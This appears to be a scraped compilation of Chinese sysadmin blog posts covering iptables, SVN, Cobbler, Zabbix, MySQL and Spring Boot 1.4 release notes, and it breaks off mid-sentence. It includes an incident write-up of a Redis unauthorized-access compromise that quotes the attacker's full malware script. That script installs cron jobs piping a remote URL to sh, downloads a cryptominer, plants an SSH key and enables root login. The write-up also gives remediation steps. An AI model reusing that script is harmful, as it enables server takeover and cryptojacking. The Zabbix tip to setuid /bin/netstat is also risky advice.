Centos6-防火牆的基本配置

1.iptables

啓動指令: service iptables start

重啓指令: service iptables restart

關閉指令: service iptables stop

保存指令: service iptables save

相關配置: /etc/sysconfig/iptables


2.操作: vim /etc/sysconfig/iptables

# Firewall configuration written by system-config-firewall

# Manual customization of this file is not recommended.

*filter

:INPUT ACCEPT [0:0]

:FORWARD ACCEPT [0:0]

:OUTPUT ACCEPT [0:0]

-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

-A INPUT -p icmp -j ACCEPT

-A INPUT -i lo -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT

-A INPUT -j REJECT --reject-with icmp-host-prohibited

-A FORWARD -j REJECT --reject-with icmp-host-prohibited

COMMIT

啓動: service iptables start

重啓: service iptables restart

保存: service iptables save


注意: 先service iptables restart,然後才調用/etc/rc.d/init.d/iptables save

因爲/etc/rc.d/init.d/iptables save會在iptables服務啓動時重新加載,

要是在重啓之前直接先調用了/etc/rc.d/init.d/iptables save

那麼你的/etc/sysconfig/iptables 配置就回滾到上次啓動服務的配置了,這點必須注意!!! 

Redis未授權訪問缺陷

朋友的一個項目說接到阿里雲的告警,提示服務器已淪爲肉雞,網絡帶寬被大量佔用,網站訪問很慢,通過SSH遠程管理服務器還頻繁斷開鏈接。朋友不知如何下手,便邀請我幫忙處理。

阿里雲的安全告警郵件內容:

images/7PttSmdWXkHhMbpFeAH4NEGS2SscWecR.png

images/By42yHKjNaB6rCrsXCpZASzszyPhrrmX.png

在沒有查到異常進程之前我是先把操作系統的帶寬&端口用iptables 做了限制這樣能保證我能遠程操作服務器才能查找原因.

images/phHj3je8NwAN63wbpiGdimT2CQw6iDEm.png

在各種netstat –ntlp  的查看下沒有任何異常。在top 下查到了有異常進程 還有些異常的這裏就截圖一個:

images/W3Re8tnjd547WNfApE7fm2JeF2KmWCDt.png


結果果斷把進程給kill -9  了  沒想到再去ps的時候又來了 意思就是會自動啓動它。

這就讓我想到了crond 這個自動任務果不其然 /var/sprool/cron/root 這個文件被人做了手腳 而且是二進制的,果斷又給刪除了,以爲這下沒事了結果過了兩分鐘這個文件又來這個就引起我主要了聯想到了是不是有說明守護進程了 這樣的事情肯定是有守護進程在纔會發生的了。於是我去百度了下  jyam -c x -M stratum+tcp 果不其然 確實有這樣的攻擊,這個攻擊是由於redis 未授權登陸漏洞引起導致黑客利用的。

漏洞概述

Redis 默認情況下,會綁定在 0.0.0.0:6379,這樣將會將Redis服務暴露到公網上,如果在沒有開啓認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪 問Redis以及讀取Redis的數據。攻擊者在未授權訪問Redis的情況下可以利用Redis的相關方法,可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以直接登錄目標服務器。

漏洞描述

Redis 安全模型的觀念是: 「請不要將Redis暴露在公開網絡中, 因爲讓不受信任的客戶接觸到Redis是非常危險的」 。

Redis 作者之所以放棄解決未授權訪問導致的不安全性是因爲, 99.99%使用Redis的場景都是在沙盒化的環境中, 爲了0.01%的可能性增加安全規則的同時也增加了複雜性, 雖然這個問題的並不是不能解決的, 但是這在他的設計哲學中仍是不划算的。

因爲其他受信任用戶需要使用Redis或者因爲運維人員的疏忽等原因,部分Redis 綁定在0.0.0.0:6379,並且沒有開啓認證(這是Redis的默認配置),如果沒有進行採用相關的策略,比如添加防火牆規則避免其他非信任來源 ip訪問等,將會導致Redis服務直接暴露在公網上,導致其他用戶可以直接在非授權情況下直接訪問Redis服務並進行相關操作。

利用Redis自身的相關方法,可以進行寫文件操作,攻擊者可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以直接登錄目標服務器。  (導致可以執行任何操作)

漏洞影響

Redis 暴露在公網(即綁定在0.0.0.0:6379,目標IP公網可訪問),並且沒有開啓相關認證和添加相關安全策略情況下可受影響而導致被利用。

 

在網上我查到這個被黑客編譯成二進制的源文件代碼 (關於redis 未授權登陸安全措施:

1 配置bind選項, 限定可以連接Redis服務器的IP, 並修改redis的默認端口6379. 防火牆控制好允許IP連接就好

2 配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.

3 配置rename-command CONFIG "RENAME_CONFIG", 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度

4是Redis作者表示將會開發」real user」,區分普通用戶和admin權限,普通用戶將會被禁止運行某些命令,如config

)

##網上查到腳本內容大致如下

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

 

echo "*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" > /var/spool/cron/root

# echo "*/2 * * * * ps auxf | grep -v grep | grep yam || /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr" >> /var/spool/cron/root

echo "*/5 * * * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &" >> /var/spool/cron/root

 

ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr &

 

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then

         mkdir -p ~/.ssh

         rm -f ~/.ssh/authorized_keys*

         echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq

         echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

         echo "RSAAuthentication yes" >> /etc/ssh/sshd_config

         echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config

         echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

         /etc/init.d/sshd restart

fi

 

if [ ! -f "/opt/yam/yam" ]; then

         mkdir -p /opt/yam

         curl -f -L https://r.chanstring.com/api/download/yam -o /opt/yam/yam

         chmod +x /opt/yam/yam

         # /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr

fi

 

if [ ! -f "/opt/gg3lady" ]; then

         curl -f -L https://r.chanstring.com/api/download/gg3lady_`uname -i` -o /opt/gg3lady

         chmod +x /opt/gg3lady

fi

 

# yam=$(ps auxf | grep yam | grep -v grep | wc -l)

# gg3lady=$(ps auxf | grep gg3lady | grep -v grep | wc -l)

# cpu=$(cat /proc/cpuinfo | grep processor | wc -l)

 

# curl https://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg3lady=$gg3lady\&arch=`uname -i`

於是終於找到源頭了,

下面我們來分析下這個腳本

images/PMZhDfy8mSxT2TrnbR4NfR3QzyHGZWXW.png

整個腳本的大致就這樣

處理方法只要把 /var/spool/cron/root 刪除   /opt/yam/yam   刪除   /opt/gg3lady  刪除  .ssh/KHK75NEOiq 刪除

把gg3lady  yam     進程結束 還有就是sshd_confg 文件還原 應該就沒問題了。但是爲了安全起見還是希望重裝服務器,不確保別人不留其他的漏洞

 

對應的安全處理:
1、限制Redis的訪問IP,如指定本地IP獲指定特定IP可以訪問。
2、如果是本地訪問和使用,打開防火牆(阿里雲等操作系統,默認把防火牆關了),不開放Redis端口,最好修改掉Redis的默認端口;
3、如果要遠程訪問,給Redis配置上授權訪問密碼;

Cause: java.sql.SQLException: Lock wait timeout exceeded; try restarting transaction

標籤:系統運維,Mysql 發佈於 2016-07-14 17:13:47

Cause: java.sql.SQLException: Lock wait timeout exceeded; try restarting transaction

出現之後查看相應的線程

命令:select * from information_schema.innodb_trx

找到對應的線程之後kill了,就ok!

Zabbix客戶端日誌出現(Not all processes could be identified,

標籤:Linux 發佈於 2016-08-10 11:59:40

場景:因爲使用了netstat -p參數。

權限問題,zabbix_agentd是zabbix用戶啓動的,默認不能執行netstat -p等命令,導致從服務器取到的自動發現腳本爲空

(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
解決方法 :
chmod +s /bin/netstat

chmod +s 是什麼意思

再次執行就會消失(變成正常)

利用cobbler定義一個裝機平臺

標籤:Linux 發佈於 2016-08-05 09:18:45
最近對於CMDB平臺做了一次功能增加,把具體實現再往下細分就是:運維人員對設備申請,申請好之後跟網絡部需要需要提前分配一個IP地址網段等 等,然後通過從廠商獲取的MAC地址號,咱們可以根據cobbler 的API實現一個裝機方式,給主機分配好IP地址,裝機完成之後再同步到咱們的CMDB平臺:

  

     前提條件是cobbler得安裝完成,並且咱們提前寫好ks文件,生成profile等等。接下來就是咱們運維平臺,根據獲取的MAC地址給服務器定義一個IP信息錄入,然後定製安裝操作系統即可:


第一步:添加主機分配IP,最主要是MAC地址:


wKioL1ejGXKgELZVAABhANEoASM865.png-wh_50


第二步:默認剛開始添加的適合都是等待裝機狀態,當點擊開始裝機時候,後臺根據MAC地址定義操作系統的profile和生成IP地址,這個時候裝機狀態就變成裝機中,然後開啓服務器電源執行裝機即可:


wKiom1ejGirwGfKLAABfnafwQGE878.png-wh_50


第三步:啓動虛擬機開始裝機:


wKioL1ejHB2wXNpOAAAj3tWS-Yw495.png-wh_50


wKioL1ejG2WzpZX0AABQWFNlPhA641.png-wh_50


到此安裝完成;裝機狀態可變成裝機完成,這裏實現的思路咱們可以這樣,寫一個腳本久不久去ping 這個剛剛分配的IP地址,等真正可以Ping通之後,可以向這個IP發送某條命令然後根據返回值就能判斷是否已經完成裝機操作。


不足,這裏我沒有運用ipmi的一些機制來完成,後面慢慢學習和補充,最後咱們跑一個初始化腳本,然後把生產的機器的資產信息,同步到咱們CMDB平臺即可。


定製操作系統可以參考官方文檔的system修改成如下的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[[email protected] src]  # cat cobbler_api.py 
#!/usr/bin/env python
import   xmlrpclib
remote   =    xmlrpclib.Server(  "http://192.168.63.238/cobbler_api"  )
token   =   remote.login(  "xiaoluo"  ,  "123456"  )
system_id   =   remote.new_system(token)
remote.modify_system(system_id,  "name"  ,  "xiaoluo"  ,token)
remote.modify_system(system_id,  "hostname"  ,  "xiaoluo"  ,token)
remote.modify_system(system_id,  'modify_interface'  , {
                  "macaddress-eth0"       "00:50:56:2C:4C:56"  ,
                  "ipaddress-eth0"        "192.168.63.100"  ,
                  "Gateway-eth0"          "192.168.63.254"  ,
                  "subnet-eth0"           "255.255.255.0"  ,
                  "static-eth0"           1  ,
                  "dnsname-eth0"        :  "114.114.114.114"
          }, token)
remote.modify_system(system_id,  "profile"  ,  "webserver"  ,token)
remote.save_system(system_id, token)
ret   =   remote.sync(token)
print   ret


      當然這個只是一個官方文檔給出的例子做的小修改,咱們可以封裝成一個class,包含cobble的定製操作系統即可;當然也可以針對cobbler專門 做一個純web開發,通過web界面生成ks文件,生成profile也是可以的,這裏我減少開發的繁雜,ks文件生成profile文檔等等。

SVN命令使用詳解

標籤:Linux 發佈於 2016-08-04 18:13:09

1、檢出
svn  co  http://路徑(目錄或文件的全路徑) [本地目錄全路徑] --username 用戶名 --password 密碼

svn  co  svn://路徑(目錄或文件的全路徑) [本地目錄全路徑]  --username 用戶名 --password 密碼
svn  checkout  http://路徑(目錄或文件的全路徑) [本地目錄全路徑] --username 用戶名
svn  checkout  svn://路徑(目錄或文件的全路徑) [本地目錄全路徑]  --username 用戶名
注:如果不帶--password 參數傳輸密碼的話,會提示輸入密碼,建議不要用明文的--password 選項。
  其中 username 與 password前是兩個短線,不是一個。
  不指定本地目錄全路徑,則檢出到當前目錄下。
例子:
svn co svn://localhost/測試工具 /home/testtools --username wzhnsc
svn co http://localhost/test/testapp --username wzhnsc
svn checkout svn://localhost/測試工具 /home/testtools --username wzhnsc
svn checkouthttp://localhost/test/testapp --username wzhnsc

2導出(導出一個乾淨的不帶.svn文件夾的目錄樹)
svn  export  [-r 版本號]  http://路徑(目錄或文件的全路徑) [本地目錄全路徑] --username 用戶名
svn  export  [-r 版本號]  svn://路徑(目錄或文件的全路徑) [本地目錄全路徑] --username 用戶名
svn  export  本地檢出的(即帶有.svn文件夾的)目錄全路徑  要導出的本地目錄全路徑
注:第一種從版本庫導出乾淨工作目錄樹的形式是指定URL,
   如果指定了修訂版本號,會導出相應的版本,
   如果沒有指定修訂版本,則會導出最新的,導出到指定位置。
   如果省略 本地目錄全路徑,URL的最後一部分會作爲本地目錄的名字。
  第二種形式是指定 本地檢出的目錄全路徑 到 要導出的本地目錄全路徑,所有的本地修改將會保留,
   但是不在版本控制下(即沒提交的新文件,因爲.svn文件夾裏沒有與之相關的信息記錄)的文件不會拷貝。
例子:
svn export
 svn://localhost/測試工具 /home/testtools --username wzhnsc
svn export
 svn://localhost/test/testapp --username wzhnsc
svn export
 /home/testapp /home/testtools

3、添加新文件 
svn add 文件名
注:告訴SVN服務器要添加文件了,還要用svn commint -m真實的上傳上去!
例子:
svn add test.php <- 添加test.php 
svn commit -m 「添加我的測試用test.php「 test.php
svn add *.php <- 添加當前目錄下所有的php文件
svn commit -m 「添加我的測試用全部php文件「 *.php

4、提交
svn commit -m 「提交備註信息文本「 [-N] [--no-unlock] 文件名
svn ci -m 「提交備註信息文本「 [-N] [--no-unlock] 文件名
必須帶上-m參數,參數可以爲空,但是必須寫上-m
例子:
svn commit -m 「提交當前目錄下的全部在版本控制下的文件「 * <- 注意這個*表示全部文件
svn commit -m 「提交我的測試用test.php「 test.php
svn commit -m 「提交我的測試用test.php「 -N --no-unlock test.php <- 保持鎖就用–no-unlock開關
svn ci -m 「提交當前目錄下的全部在版本控制下的文件「 * <- 注意這個*表示全部文件
svn ci -m 「提交我的測試用test.php「 test.php
svn ci -m 「提交我的測試用test.php「 -N --no-unlock test.php <- 保持鎖就用–no-unlock開關

5、更新文件
svn update
svn update -r 修正版本 文件名
svn update 文件名
例子:
svn update <- 後面沒有目錄,默認將當前目錄以及子目錄下的所有文件都更新到最新版本
svn update -r 200 test.cpp <- 將版本庫中的文件 test.cpp 還原到修正版本(revision)200
svn update test.php <- 更新與版本庫同步。
            提交的時候提示過期衝突,需要先 update 修改文件,
            然後清除svn resolved,最後再提交commit。

6、刪除文件
svn delete svn://路徑(目錄或文件的全路徑) -m 「刪除備註信息文本」
推薦如下操作:
svn delete 文件名 
svn ci -m 「刪除備註信息文本」
例子:
svn delete svn://localhost/testapp/test.php -m 「刪除測試文件test.php」
推薦如下操作:
svn delete test.php 
svn ci -m 「刪除測試文件test.php」

7、加鎖/解鎖 
svn lock -m 「加鎖備註信息文本「 [--force] 文件名 
svn unlock 文件名
例子:
svn lock -m 「鎖信測試用test.php文件「 test.php 
svn unlock test.php

8、比較差異 
svn diff 文件名 
svn diff -r 修正版本號m:修正版本號n 文件名
例子:
svn diff test.php<- 將修改的文件與基礎版本比較
svn diff -r 200:201 test.php<- 對 修正版本號200 和 修正版本號201 比較差異

9、查看文件或者目錄狀態
svn st 目錄路徑/名
svn status 目錄路徑/名<- 目錄下的文件和子目錄的狀態,正常狀態不顯示 
             【?:不在svn的控制中;  M:內容被修改;C:發生衝突;
              A:預定加入到版本庫;K:被鎖定】 
svn  -v 目錄路徑/名
svn status -v 目錄路徑/名<- 顯示文件和子目錄狀態
              【第一列保持相同,第二列顯示工作版本號,
               第三和第四列顯示最後一次修改的版本號和修改人】 
注:svn status、svn diff和 svn revert這三條命令在沒有網絡的情況下也可以執行的,
  原因是svn在本地的.svn中保留了本地版本的原始拷貝。 

10、查看日誌
svn log 文件名
例子:
svn log test.php<- 顯示這個文件的所有修改記錄,及其版本號的變化 

11、查看文件詳細信息
svn info 文件名
例子:
svn info test.php

12、SVN 幫助
svn help <- 全部功能選項
svn help ci <- 具體功能的說明

13、查看版本庫下的文件和目錄列表 
svn list svn://路徑(目錄或文件的全路徑)
svn ls svn://路徑(目錄或文件的全路徑)
例子:
svn list svn://localhost/test
svn ls svn://localhost/test <- 顯示svn://localhost/test目錄下的所有屬於版本庫的文件和目錄 

14、創建納入版本控制下的新目錄
svn mkdir 目錄名
svn mkdir -m "新增目錄備註文本" http://目錄全路徑
例子:
svn mkdir newdir
svn mkdir -m "Making a new dir." svn://localhost/test/newdir 
注:添加完子目錄後,一定要回到根目錄更新一下,不然在該目錄下提交文件會提示「提交失敗」
svn update
注:如果手工在checkout出來的目錄裏創建了一個新文件夾newsubdir,
  再用svn mkdir newsubdir命令後,SVN會提示:
  svn: 嘗試用 「svn add」或 「svn add --non-recursive」代替?
  svn: 無法創建目錄「hello」: 文件已經存在
  此時,用如下命令解決:
  svn add --non-recursive newsubdir
  在進入這個newsubdir文件夾,用ls -a查看它下面的全部目錄與文件,會發現多了:.svn目錄
  再用 svn mkdir -m "添hello功能模塊文件" svn://localhost/test/newdir/newsubdir 命令,
  SVN提示:
  svn: File already exists: filesystem '/data/svnroot/test/db', transaction '4541-1',
  path '/newdir/newsubdir '

15、恢復本地修改 
svn revert [--recursive] 文件名
注意: 本子命令不會存取網絡,並且會解除衝突的狀況。但是它不會恢復被刪除的目錄。
例子:
svn revert foo.c <- 丟棄對一個文件的修改
svn revert --recursive . <-恢復一整個目錄的文件,. 爲當前目錄 

16、把工作拷貝更新到別的URL 
svn switch http://目錄全路徑 本地目錄全路徑
例子:
svn switch http://localhost/test/456 . <- (原爲123的分支)當前所在目錄分支到localhost/test/456

17、解決衝突 
svn resolved [本地目錄全路徑]
例子:
$ svn update
C foo.c
Updated to revision 31.
如果你在更新時得到衝突,你的工作拷貝會產生三個新的文件:
$ ls
foo.c
foo.c.mine
foo.c.r30
foo.c.r31
當你解決了foo.c的衝突,並且準備提交,運行svn resolved讓你的工作拷貝知道你已經完成了所有事情。
你可以僅僅刪除衝突的文件並且提交,但是svn resolved除了刪除衝突文件,還修正了一些記錄在工作拷貝管理區域的記錄數據,所以我們推薦你使用這個命令。

18、不checkout而查看輸出特定文件或URL的內容 
svn cat http://文件全路徑
例子:
svn cat http://localhost/test/readme.txt

19、新建一個分支copy

svn copy branchA branchB  -m "make B branch" // 從branchA拷貝出一個新分支branchB

20、合併內容到分支merge

svn merge branchA branchB  // 把對branchA的修改合併到分支branchB

Spring Boot 教程系列學習

1.工具下載地址:

Eclipse:http://www.eclipse.org/downloads/packages/eclipse-ide-java-ee-developers/neonr

Spring Tool Suite:https://spring.io/tools/sts/all

2.使用版本爲:

Eclipse:eclipse-jee-neon-R-win32-x86_64.zip

Spring Tool Suite:springsource-tool-suite-3.8.0.RELEASE-e4.5.2-updatesite.zip

3.安裝步驟:

3.1 解壓Eclipse,打開Help ---> Install New Sofware...

images/N4BwcbB7CGjKkNfZyDcnHJskCrAKWjXY.png

3.2 點擊右上角位置的:Add...

images/34GYRAYFmPw7JwKwFTePMKBT6FYMrDdG.png

3.3 點擊右上角位置的:Loccal...,選中解壓之後的springsource-tool-suite-3.8.0.RELEASE-e4.5.2-updatesite,,之後點擊 OK

images/s2bHXEBtEf7Ndtrzi7FiKpKkQ82kBRK6.png

3.4 點擊 Select All,之後確認,後面有多次需要確認,會花費一定的時間,請耐心等待,安裝完成之後,會提示重啓。


小提示:可以選中在線安裝Spring Tool Suite 這個插件。Help ---> Eclipse Marketplce...之後搜索spring tool suite

images/HEQR2XWfZkWXynTH7Qjh5PnKE2AFRYXB.png


注意版本的選擇

images/wzaW4XWh6wPrNb8xzpebtyPy48J5TChD.png

查看Eclipse版本:Help ---> About Eclipse

images/eiGZzGpjYatCHxPxQa3f2jJ5GCK76Kpi.png


Spring Boot 1.4.0 Release Notes 更新日誌-02

標籤:SpringBoot,框架類,Spring 發佈於 2016-07-30 09:24:46

Spring Framework 4.3

Spring Boot 1.4 builds on and requires Spring Framework 4.3. There are a number of nice refinements in Spring Framework 4.3 including new Spring MVC @RequestMapping annotations. Refer to the Spring Framework reference documentation for details.

Note that the test framework in Spring Framework 4.3 requires JUnit 4.12. See SPR-13275 for further details.

Third-party library upgrades

A number of third party libraries have been upgraded to their latest version. Updates include Jetty 9.3, Tomcat 8.5, Jersey 2.23, Hibernate 5.0, Jackson 2.7, Solr 5.5, Spring Data Hopper, Spring Session 1.2, Hazelcast 3.6, Artemis 1.3, Ehcache 3.1, Elasticsearch 2.3, Spring REST Docs 1.1, Spring AMQP 1.6 & Spring Integration 4.3.

Several Maven plugins were also upgraded.

Couchbase support

Full auto-configuration support is now provided for Couchbase. You can easily access a Bucketand Cluster bean by adding the spring-boot-starter-data-couchbase "Starter" and providing a little configuration:

spring.couchbase.bootstrap-hosts=my-host-1,192.168.1.123
spring.couchbase.bucket.name=my-bucket
spring.couchbase.bucket.password=secret

It’s also possible to use Couchbase as a backing store for a Spring Data Repository or as aCacheManager. Refer to the updated documentation for details.

Neo4J Support

Auto-configuration support is now provided for Neo4J. You can connect to a remote server or run an embedded Neo4J server. You can also use Neo4J to back a Spring Data Repository, for example:

public interface CityRepository extends GraphRepository {    Page findAll(Pageable pageable);    City findByNameAndCountry(String name, String country);

}

Full details are provided in the Neo4J section of the reference documentation.

Redis Spring Data repositories

Redis can now be used to back Spring Data repositories. See the Spring Data Redis documentation for more details.

Narayana transaction manager support

Auto-configuration support is now included for the Narayana transaction manager. You can choose between Narayana, Bitronix or Atomkos if you need JTA support. See the updated reference guidefor details.

Caffeine cache support

Auto-configuration is provided for Caffeine v2.2 (a Java 8 rewrite of Guava’s caching support). Existing Guava cache users should consider migrating to Caffeine as Guava cache support will be dropped in a future release.

Elasticsearch Jest support

Spring Boot auto-configures a JestClient and a dedicated HealthIndicator if Jest is on the classpath. This allows you to use Elasticsearch even when spring-data-elasticsearch isn’t on the classpath.

Analysis of startup failures

Spring Boot will now perform analysis of common startup failures and provide useful diagnostic information rather than simply logging an exception and its stack trace. For example, a startup failure due to the embedded servlet container’s port being in use looked like this in earlier versions of Spring Boot:

2016-02-16 17:46:14.334 ERROR 24753 --- [           main] o.s.boot.SpringApplication               : Application startup failed

java.lang.RuntimeException: java.net.BindException: Address already in use
    at io.undertow.Undertow.start(Undertow.java:181) ~[undertow-core-1.3.14.Final.jar:1.3.14.Final]
    at org.springframework.boot.context.embedded.undertow.UndertowEmbeddedServletContainer.start(UndertowEmbeddedServletContainer.java:121) ~[spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE]
    at org.springframework.boot.context.embedded.EmbeddedWebApplicationContext.startEmbeddedServletContainer(EmbeddedWebApplicationContext.java:293) ~[spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE]
    at org.springframework.boot.context.embedded.EmbeddedWebApplicationContext.finishRefresh(EmbeddedWebApplicationContext.java:141) ~[spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE]
    at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:541) ~[spring-context-4.2.4.RELEASE.jar:4.2.4.RELEASE]
    at org.springframework.boot.context.embedded.EmbeddedWebApplicationContext.refresh(EmbeddedWebApplicationContext.java:118) ~[spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE]
    at org.springframework.boot.SpringApplication.refresh(SpringApplication.java:766) [spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE]
    at org.springframework.boot.SpringApplication.createAndRefreshContext(SpringApplication.java:361) [spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE]
    at org.springframework.boot.SpringApplication.run(SpringApplication.java:307) [spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE]
    at org.springframework.boot.SpringApplication.run(SpringApplication.java:1191) [spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE]
    at org.springframework.boot.SpringApplication.run(SpringApplication.java:1180) [spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE]
    at sample.undertow.SampleUndertowApplication.main(SampleUndertowApplication.java:26) [classes/:na]
Caused by: java.net.BindException: Address already in use
    at sun.nio.ch.Net.bind0(Native Method) ~[na:1.8.0_60]
    at sun.nio.ch.Net.bind(Net.java:433) ~[na:1.8.0_60]
    at sun.nio.ch.Net.bind(Net.java:425) ~[na:1.8.0_60]
    at sun.nio.ch.ServerSocketChannelImpl.bind(ServerSocketChannelImpl.java:223) ~[na:1.8.0_60]
    at sun.nio.ch.ServerSocketAdaptor.bind(ServerSocketAdaptor.java:74) ~[na:1.8.0_60]
    at org.xnio.nio.NioXnioWorker.createTcpConnectionServer(NioXnioWorker.java:190) ~[xnio-nio-3.3.4.Final.jar:3.3.4.Final]
    at org.xnio.XnioWorker.createStreamConnectionServer(XnioWorker.java:243) ~[xnio-api-3.3.4.Final.jar:3.3.4.Final]
    at io.undertow.Undertow.start(Undertow.java:137) ~[undertow-core-1.3.14.Final.jar:1.3.14.Final]
    ... 11 common frames omitted

In 1.4, it will look like this:

2016-02-16 17:44:49.179 ERROR 24745 --- [           main] o.s.b.d.LoggingFailureAnalysisReporter   :

***************************
APPLICATION FAILED TO START
***************************

Description:

Embedded servlet container failed to start. Port 8080 was already in use.

Action:

Identify and stop the process that's listening on port 8080 or configure this application to listen on another port.

If you still want to see the stacktrace of the underlying cause, enable debug logging fororg.springframework.boot.diagnostics.LoggingFailureAnalysisReporter.

Image Banners

You can now use image files to render ASCII art banners. Drop a banner.gifbanner.jpg orbanner.png file into src/main/resources to have it automatically converted to ASCII. You can use the banner.image.width and banner.image.height properties to tweak the size, or usebanner.image.invert to invert the colors.

banner image

RestTemplate builder

A new RestTemplateBuilder can be used to easily create a RestTemplate with sensible defaults. By default, the built RestTemplate will attempt to use the most suitable ClientHttpRequestFactoryavailable on the classpath and will be aware of the MessageConverter instances to use (including Jackson). The builder includes a number of useful methods that can be used to quickly configure aRestTemplate. For example, to add BASIC auth support you can use:

@Beanpublic RestTemplate restTemplate(RestTemplateBuilder builder) {    return builder.basicAuthorization("user", "secret").build();
}

The auto-configured TestRestTemplate now uses the RestTemplateBuilder as well.

JSON Components

A new @JsonComponent annotation is now provided for custom Jackson JsonSerializer and/orJsonDeserializer registration. This can be a useful way to decouple JSON serialization logic:

@JsonComponentpublic class Example {    public static class Serializer extends JsonSerializer {        // ...
    }    public static class Deserializer extends JsonDeserializer {        // ...
    }

}

Additionally, Spring Boot also now provides JsonObjectSerializer and JsonObjectDeserializerbase classes which provide useful alternatives to the standard Jackson versions when serializing objects. See the updated documentation for details.

Convention based error pages

Custom error pages for a given status code can now be created by following a convention based approach. Create a static HTML file in /public/error or add a template to /templates/error using the status code as the filename. For example, to register a custom 404 file you could addsrc/main/resource/public/error/404.html. See the updated reference documentation for details.

Unified @EntityScan annotation

org.springframework.boot.autoconfigure.domain.EntityScan can now be used to specify the packages to use for JPA, Neo4J, MongoDB, Cassandra and Couchbase. As a result, the JPA-specificorg.springframework.boot.orm.jpa.EntityScan is now deprecated.

ErrorPageRegistry

New ErrorPageRegistry and ErrorPageRegistrar interfaces allow error pages to be registered in a consistent way regardless of the use of an embedded servlet container. The ErrorPageFilter class has been updated to that it is now a ErrorPageRegistry and not a fakeConfigurableEmbeddedServletContainer.

PrincipalExtractor

The PrincipalExtractor interface can now be used if you need to extract the OAuth2 Principalusing custom logic.

Test improvements

Spring Boot 1.4 includes a major overhaul of testing support. Test classes and utilities are now provided in dedicated spring-boot-test and spring-boot-test-autoconfigure jars (although most users will continue to pick them up via the spring-boot-starter-test "Starter"). We’ve added AssertJ, JSONassert and JsonPath dependencies to the test starter.

@SpringBootTest

With Spring Boot 1.3 there were multiple ways of writing a Spring Boot test. You could use@SpringApplicationConfiguration@ContextConfiguration with theSpringApplicationContextLoader@IntegrationTest or @WebIntegrationTest. With Spring Boot 1.4, a single @SpringBootTest annotation replaces all of those.

Use @SpringBootTest in combination with @RunWith(SpringRunner.class) and set thewebEnvironment attribute depending on the type of test you want to write.

A classic integration test, with a mocked servlet environment:

@RunWith(SpringRunner.class)
@SpringBootTestpublic class MyTest {    // ...}

A web integration test, running a live server listening on a defined port:

@RunWith(SpringRunner.class)
@SpringBootTest(webEnvironment=WebEnvionment.DEFINED_PORT)public class MyTest {    // ...}

A web integration test, running a live server listening on a random port:

@RunWith(SpringRunner.class)
@SpringBootTest(webEnvironment=WebEnvionment.RANDOM_PORT)public class MyTest {	@LocalServerPort
	private int actualPort;	// ...}

See the updated reference documentation for details.

Auto-detection of test configuration

Test configuration can now be automatically detected for most tests. If you follow the Spring Boot recommended conventions for structuring your code the @SpringBootApplication class will be loaded when no explicit configuration is defined. If you need to load a different @Configurationclass you can either include it as a nested inner-class in your test, or use the classes attribute of@SpringBootTest.

See Detecting test configuration for details.

Mocking and spying beans

It’s quite common to want to replace a single bean in your ApplicationContext with a mock for testing purposes. With Spring Boot 1.4 this now as easy as annotating a field in your test with@MockBean:

@RunWith(SpringRunner.class)
@SpringBootTestpublic class MyTest {    @MockBean
    private RemoteService remoteService;    @Autowired
    private Reverser reverser;    @Test
    public void exampleTest() {        // RemoteService has been injected into the reverser bean
